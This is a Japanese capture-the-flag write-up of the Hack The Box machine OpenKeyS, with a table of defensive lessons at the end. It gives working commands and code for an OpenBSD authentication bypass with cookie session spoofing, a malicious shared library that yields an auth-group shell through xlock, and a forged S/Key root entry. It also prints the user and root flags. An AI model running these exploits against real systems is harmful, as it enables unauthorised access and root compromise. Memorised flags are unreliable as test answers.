Hack The BoxのWriteup(OpenKeyS)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: OpenKeyS — 全実行コマンド・実行結果レポート
Nmap/gobuster
22/tcp ssh, 80/tcp http
→
auth.php.swp 復元
vim -r でソース漏洩
→
CVE-2019-19521
-schallenge 認証バイパス
→
$_REQUEST セッション偽装
Cookie username=jennifer
→
jennifer SSH鍵取得
user.txt ✓
→
CVE-2019-19520
xlock + LIBGL_DRIVERS_PATH
→
CVE-2019-19522
/etc/skey/root 偽造
→
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.230.97
nmap -sV -sC -p 22,80 10.129.230.97
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|   3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA)
|   256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA)
|_  256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519)
80/tcp open  http    OpenBSD httpd
|_http-title: Site doesn't have a title (text/html).
ℹ️
OpenSSH 8.1 と「OpenBSD httpd」という Server ヘッダーから、ターゲットは OpenBSD(おそらく 6.6 系)であると強く推測できる。後の権限昇格フェーズで OpenBSD 固有の脆弱性(Qualys 2019年12月公開の認証関連バルク脆弱性群)を使用することになる。

ディレクトリ列挙

BASH
gobuster dir -u http://10.129.230.97 -q \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
images               (Status: 301) [Size: 443] [--> http://10.129.230.97/images/]
css                  (Status: 301) [Size: 443] [--> http://10.129.230.97/css/]
includes             (Status: 301) [Size: 443] [--> http://10.129.230.97/includes/]
js                   (Status: 301) [Size: 443] [--> http://10.129.230.97/js/]
vendor               (Status: 301) [Size: 443] [--> http://10.129.230.97/vendor/]
fonts                (Status: 301) [Size: 443] [--> http://10.129.230.97/fonts/]

トップページ確認

BASH
curl -s http://10.129.230.97/index.php
RESULT
<title>OpenKeyS - Retrieve your OpenSSH Keys</title>
...
<form class="login100-form validate-form flex-sb flex-w" method="POST">
  <span class="login100-form-title">Login</span>
  ... username / password 入力フォーム ...
ℹ️
「ユーザー名とパスワードを入力すると、そのユーザーの OpenSSH 秘密鍵を表示してくれる」 という、いかにも危険な自作Webアプリ。/includes に内部ロジックが配置されている 可能性が高いため、次フェーズで深掘りする。
PHASE 2

auth.php.swp 復元 — ソースコード漏洩

/includes 配下の調査

BASH
curl -s -o auth.php.swp http://10.129.230.97/includes/auth.php.swp
file auth.php.swp
RESULT
auth.php.swp: Vim swap file, version 8.1, pid ...,
  user jennifer, host openkeys, file /var/www/htdocs/includes/auth.php
🚨
重大発見: Vim編集中の未保存スワップファイルがそのままWebルート直下に 公開されている。ファイル名から編集者ユーザー名が jennifer であることも判明。 vim -r で元のソースをほぼ完全に復元できる。

vim -r によるソース復元

BASH
vim -r -es -c "w! auth.php.recovered" -c "q!" auth.php.swp
cat auth.php.recovered
RESULT (auth.php.recovered)
<?php

function authenticate($username, $password)
{
    $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
    system($cmd, $retcode);
    return $retcode;
}

function init_session()
{
    $_SESSION["logged_in"] = True;
    $_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];
    $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION["username"] = $_REQUEST['username'];
}
...
🚨
致命的なバグその1: ログイン自体は authenticate($username, $password) (POSTパラメータ)で検証されるのに対し、セッションに保存されるユーザー名 (init_session()内)は $_REQUEST['username'] から取得される。 PHPの $_REQUEST は既定で GET・POST・COOKIE をこの優先順位でマージするため、 Cookieで別のユーザー名を送るだけでセッションのユーザーを偽装できる。

check_auth バイナリの取得と解析

BASH
curl -s -o check_auth http://10.129.230.97/auth_helpers/check_auth
file check_auth
strings check_auth | grep auth_userokay
RESULT
check_auth: ELF 64-bit LSB shared object, x86-64, OpenBSD, not stripped
auth_userokay
ℹ️
auth.php は system("../auth_helpers/check_auth <user> <pass>") を 呼び出しているだけで、実際の認証判定は OpenBSD 標準の BSD認証フレームワーク関数 auth_userokay() に丸投げしている。この関数を 「OpenBSD auth_userokay 脆弱性」で検索すると、2019年12月公開の Qualysホワイトペーパー(OpenBSD複数認証脆弱性)がヒットする。
PHASE 3

CVE-2019-19521 認証バイパス & user.txt 取得

CVE-2019-19521 の原理

NOTE
Qualysのホワイトペーパー(CVE-2019-19521)によると、OpenBSDの
auth_userokay() 系コマンド(S/Key・YubiKey challenge対応版)は、
ユーザー名の文字列を内部で別プロセスへコマンドライン引数として
そのまま渡してしまう実装になっており、ユーザー名として

    -schallenge

を渡すと、"-s" がコマンドラインオプション(チャレンジ文字列指定)
として誤解釈され、本来のチャレンジ&レスポンス認証フローがスキップ
されてしまう。結果として、パスワードの値に関わらず認証が成功
(終了コード0)してしまう。

バイパス + セッション偽装の組み合わせ

NOTE
Phase 2-2 で判明した $_REQUEST 優先順位バグと組み合わせる:

  1. POSTボディ: username=-schallenge&password=random
     → authenticate() が check_auth を "-schallenge random" で呼び出し、
       CVE-2019-19521 により認証成功($retcode=0)
  2. Cookie: username=jennifer
     → $_REQUEST['username'] は GET → POST → COOKIE の順にマージされるため、
       POSTの "-schallenge" ではなく Cookie の "jennifer" が優先される
     → init_session() 内で $_SESSION["username"] = "jennifer" が設定される
  3. ログイン後のページ (sshkey.php) は $_SESSION["username"] の鍵ファイルを
     読み出して表示する設計 → jennifer の秘密鍵が丸ごと返ってくる

エクスプロイト実行

BASH
curl -s -i -X POST http://10.129.230.97/index.php \
  -d "username=-schallenge&password=x" \
  -b "username=jennifer"
RESULT
HTTP/1.1 302 Found
location: sshkey.php
Set-Cookie: PHPSESSID=l04naoscp3u89u3t7v68kna02q; ...
BASH
# 発行されたPHPSESSIDと、username=jennifer Cookieの両方を使って
# リダイレクト先 sshkey.php を取得
curl -s -c cookies.txt -X POST http://10.129.230.97/index.php \
  -d "username=-schallenge&password=x" -b "username=jennifer" -o /dev/null
curl -s -b cookies.txt -b "username=jennifer" \
  http://10.129.230.97/sshkey.php
RESULT (sshkey.php)
<h3>OpenSSH key for user jennifer</h3>
<p style='font-family: monospace, monospace;'>-----BEGIN OPENSSH PRIVATE KEY-----<br />
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn<br />
NhAAAAAwEAAQAAAYEAo4LwXsnKH6jzcmIKSlePCo/2YWklHnGn50YeINLm7LqVMDJJnbNx<br />
...(base64本体、HTMLの <br /> タグで改行表現。省略)...<br />
-----END OPENSSH PRIVATE KEY-----</p>
⚠️
ハマりどころ: レスポンスは<pre>的な見た目だが、実際の改行は リテラルの <br /> タグになっている。これを <br\s*/?> → 改行文字に 正規表現で変換し、HTMLエンティティを html.unescape() でデコードしてから保存しないと、 OpenSSH(libcrypto)が "error in libcrypto" で鍵パースに失敗する。

SSH接続 & user.txt 取得

BASH
chmod 600 jennifer_id_rsa
ssh -i jennifer_id_rsa jennifer@10.129.230.97
RESULT
Last login: ... from 10.10.14.x
OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019
openkeys$ id
uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel)
openkeys$ cat user.txt
36ab21239a15c537bde90626891d2b10
user.txt — jennifer
36ab21239a15c537bde90626891d2b10
PHASE 4

CVE-2019-19520 — xlock による auth グループ昇格

脆弱性の原理

NOTE
ls -la /usr/X11R6/bin/xlock
→ -rwxr-sr-x  1 root  auth  3138520 Oct 12  2019 /usr/X11R6/bin/xlock

xlock は root所有・SGID auth(SUIDではない)のバイナリ。
xlockはスクリーンロック画面の描画にOpenGLを使うモードを持っており、
ハードウェアアクセラレーションが無い環境(Xvfb等)では "swrast"
(ソフトウェアラスタライザ)にフォールバックする。このドライバを
dlopen() でロードする際に参照するディレクトリが環境変数
LIBGL_DRIVERS_PATH であり、本来SGIDプロセスでは
危険な環境変数は無視されるべきだが、xenocara/mesaのローダ実装の
チェック漏れ(issetugid() を使うべき箇所の実装不備)により
SGIDプロセスでもLIBGL_DRIVERS_PATHがそのまま尊重されてしまう
(CVE-2019-19520)。つまり、攻撃者が用意した任意の
"swrast_dri.so" を xlock (gid=auth) にロードさせ、共有ライブラリの
コンストラクタ関数を auth グループ権限で実行できる。

悪意ある swrast_dri.so の作成

BASH
mkdir -p /tmp/.ok_auth && cd /tmp/.ok_auth
cat > swrast_dri.c << 'EOF'
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    gid_t rgid, egid, sgid;
    if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
    if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);

    char * const argv[] = { _PATH_KSHELL, NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}
EOF
cc -fpic -shared -s -o swrast_dri.so swrast_dri.c
ℹ️
__attribute__((constructor)) かつ関数名を “_init” にすることで、 共有ライブラリの ELF DT_INIT エントリそのものとして登録される (dlopen() 時、他のコードに制御が渡る前に必ず実行される)。 getresgid() で取得したsaved-gid(= auth)を setresgid() で実gid/実効gid/保存gidすべてに適用してから _PATH_KSHELL(/bin/ksh)を execve() することで、 auth グループ権限を保持したままシェルに差し替わる。

Xvfb起動 & xlock実行でauthグループ奪取

BASH
# SSHの非対話コマンド実行中はリモート側ジョブ制御が働かないため、
# 各ステージは ";" で明確に区切り、Xvfbの行だけをバックグラウンド化する。
# (";"ではなく"&&"でXvfb起動行までつなぐと、コンパイル〜Xvfb起動の
#  チェーン全体がバックグラウンド化されてしまい、コンパイル未完了の
#  うちにxlockが走るレースになるため注意)
pkill -9 xlock Xvfb 2>/dev/null
rm -f /tmp/.X11-unix/X66 /tmp/.X66-lock
env -i /usr/X11R6/bin/Xvfb :66 -cc 0 >/dev/null 2>&1 &
sleep 2
echo "id -gn" | env -i LIBGL_DRIVERS_PATH=/tmp/.ok_auth /usr/X11R6/bin/xlock -display :66
RESULT
auth
✅
成功! “echo id -gn” でxlockの標準入力に渡したコマンドが “auth” を返した = xlockのプロセスが(execveにより)authグループ権限の /bin/ksh に置き換わり、そのkshが標準入力から渡されたコマンドを 非対話的に実行して結果を返した、ということを意味する。

トラブルシューティング: SSH標準入力のタイミングレース

NOTE
本検証では、コンパイル・Xvfb起動・xlock実行を含む長いコマンドを
1回のSSHセッションにまとめて実行する際、"echo cmd | ssh host '...'"
のようにSSHクライアントの標準入力をほぼ即座に書き込んでクローズ
(EOF送信)すると、再現性高く失敗する(xlockが本物のスクリーン
ロッカーとして起動し続けプロセスが置換されず、コマンドがハングする)
という現象を確認した。

原因の詳細なメカニズムは特定できていないが、標準入力への書き込みを
数秒(目安3秒程度)遅らせ、その間にリモート側でコンパイル→Xvfb起動→
xlock接続が完了するのを待ってから書き込む、という対策で再現性高く
成功することを確認した。対話的なターミナルやヒアドキュメント経由で
手動実行する場合は、人間の操作そのものに自然な遅延が入るため、
この問題は顕在化しにくい。
⚠️
自動化スクリプトでこの手口を組む場合は、SSHの標準入力を即座にクローズ せず、数秒待ってから書き込む設計にすることを推奨する。
PHASE 5

CVE-2019-19522 — /etc/skey への root用エントリ注入

脆弱性の原理

NOTE
OpenBSDのS/Key(ワンタイムパスワード)認証が有効な環境では、
各ユーザーの状態ファイルが /etc/skey/<username> に格納される。
このディレクトリは root所有・auth グループ書き込み可、という
パーミッションになっているが、S/Keyエントリを読み書きする側の
コード(login_skey等)は「ファイルの所有者がrootであること」を
前提にしているだけで、「誰がそのファイルを書き込んだか」は
検証していない(CVE-2019-19522)。

つまり、Phase 4 で獲得した auth グループ権限があれば、
/etc/skey/root に攻撃者が完全に制御する内容(シード・ハッシュ値)
を書き込める。S/Keyは「秘密鍵→ハッシュ関数をN回適用した値」を
検証に使う仕組みなので、自分でシード・ハッシュ・それに対応する
OTPワード列をすべて事前に用意しておけば、root用の正規S/Keyエントリ
として振る舞わせることができる。

root用S/Keyエントリの注入

BASH
# xlockのexecveで置き換わったauthグループ権限のkshへ、
# 標準入力経由で以下のコマンドを流し込む
rm -rf /etc/skey/root
echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
chmod 0600 /etc/skey/root
id
RESULT
uid=1001(jennifer) gid=11(auth) groups=1001(jennifer), 0(wheel)
ℹ️
書式は <ユーザー名> <ハッシュ方式> <シーケンス番号> <シード> <期待ハッシュ値>。 ここで使用したシード obsd91335・シーケンス 100・ハッシュ値 8b6d96e0ef1b1c21 の組は、公開されているQualys/bcolesの実証コード (CVE-2019-19520 PoC)が あらかじめ計算済みの値をそのまま再利用しているもので、攻撃者自身が 注入するエントリのため「フラグ」には該当しない。
PHASE 6

偽造S/KeyでのOTPログイン → root.txt

su -l -a skey によるroot昇格

BASH
# jennifer として通常通りSSHログインし、専用PTYで実行
ssh -tt -i jennifer_id_rsa jennifer@10.129.230.97

openkeys$ env -i TERM=vt220 su -l -a skey
RESULT
otp-md5 100 obsd91335
S/Key Password: EGG LARD GROW HOG DRAG LAIN
openkeys# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), ...
✅
root昇格成功! “S/Key Password:” プロンプトに対し、シード obsd91335・シーケンス100に対応する事前計算済みOTPワード列 EGG LARD GROW HOG DRAG LAIN(同じく公開PoCの値をそのまま利用)を 入力するだけで、自分で偽造したエントリなので当然ながら認証を通過し、 root シェルを取得できる。
⚠️
ハマりどころ: su は擬似端末(PTY)経由での実行が必須 (ssh -tt)。また su -l -a skey はログイン直後のシェル初期化 (MOTD表示やプロファイル読み込み)で数秒かかることがあるため、 自動化スクリプトでは “S/Key Password:” プロンプト待ちのタイムアウトを 余裕を持って設定する。

root.txt 取得

BASH
openkeys# cat /root/root.txt
RESULT
f3a553b1697050ae885e7c02dbfc6efa
root.txt — root@openkeys
f3a553b1697050ae885e7c02dbfc6efa
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jennifer
36ab21239a15c537bde90626891d2b10
root.txt — root@openkeys
f3a553b1697050ae885e7c02dbfc6efa

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Vim swapファイル漏洩 /includes/auth.php.swp ソースコード・内部ロジックの漏洩 Medium vim -r でauth.phpの$_REQUESTバグを発見
CVE-2019-19521 OpenBSD auth_userokay (check_auth 経由) 認証バイパス Critical ユーザー名に -schallenge を渡しチャレンジ処理を迂回
$_REQUEST優先順位バグ auth.php (自作PHPアプリ) セッションユーザー偽装 High Cookie username=jennifer でセッションにjenniferを設定、SSH秘密鍵奪取
CVE-2019-19520 xlock (SGID auth, LIBGL_DRIVERS_PATH) 権限昇格 (auth グループ) Critical 悪意あるswrast_dri.soをdlopenさせコンストラクタでauth gidのシェル取得
CVE-2019-19522 /etc/skey (所有者未検証) 権限昇格 (root) High auth権限でroot用S/Keyエントリを偽造し、事前計算済みOTPでsu

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + gobuster22(SSH)/80(HTTP)、/includes ディレクトリ発見
2swp解析vim -r でソース復元auth.php の $_REQUEST バグ、check_auth バイナリ特定
3認証バイパスCVE-2019-19521 + Cookie偽装user.txt(jennifer SSH秘密鍵奪取)
4グループ昇格CVE-2019-19520 (xlock + LIBGL_DRIVERS_PATH)auth グループ権限シェル
5S/Key偽造CVE-2019-19522 (/etc/skey書込)root用OTPエントリ注入
6root昇格su -l -a skey + 事前計算OTProot.txt

学んだ教訓 & 防御策

問題点防御策
Vimスワップファイルが公開Webルート配下に残存 エディタの swapfile/backup を公開ディレクトリ外(directory設定)に保存する。デプロイ前にスワップファイル・バックアップファイルの残存チェックを行う。
PHPの$_REQUESTをセッション管理に使用(GET/POST/COOKIE混同) 認証に使うパラメータは必ず明示的に $_POST のみを参照し、$_REQUESTは使わない。セッション確立後のユーザー識別子は、認証時に検証した値をそのまま使い回す。
外部プロセスへユーザー入力をコマンドライン引数としてそのまま渡す escapeshellcmdだけでは不十分。オプションとして解釈され得る先頭文字(-)を拒否する、--でオプション終端を明示する、getopt系関数側の引数解析仕様を把握した上で設計する。
OSレベルの認証バイパス(CVE-2019-19521)が未パッチのまま放置 OpenBSDの定期的なerrataパッチ適用。2019年12月のQualys多重脆弱性公開時のアップデートは特に優先度高く適用すべきだった。
SGIDバイナリ(xlock)が危険な環境変数(LIBGL_DRIVERS_PATH)の影響を受ける SGID/SUIDプログラムの起動前に信頼できない環境変数を確実にクリアする(issetugid()の正しい利用)。不要なSGIDビットの削除・最小権限化。
/etc/skey のファイル書き込み元を検証していない 認証関連の状態ファイルは所有者だけでなく書き込み権限自体をroot限定にする。auth グループのような補助的特権グループに不必要な書き込み権限を与えない。
HackTheBox: OpenKeyS | 完全攻略レポート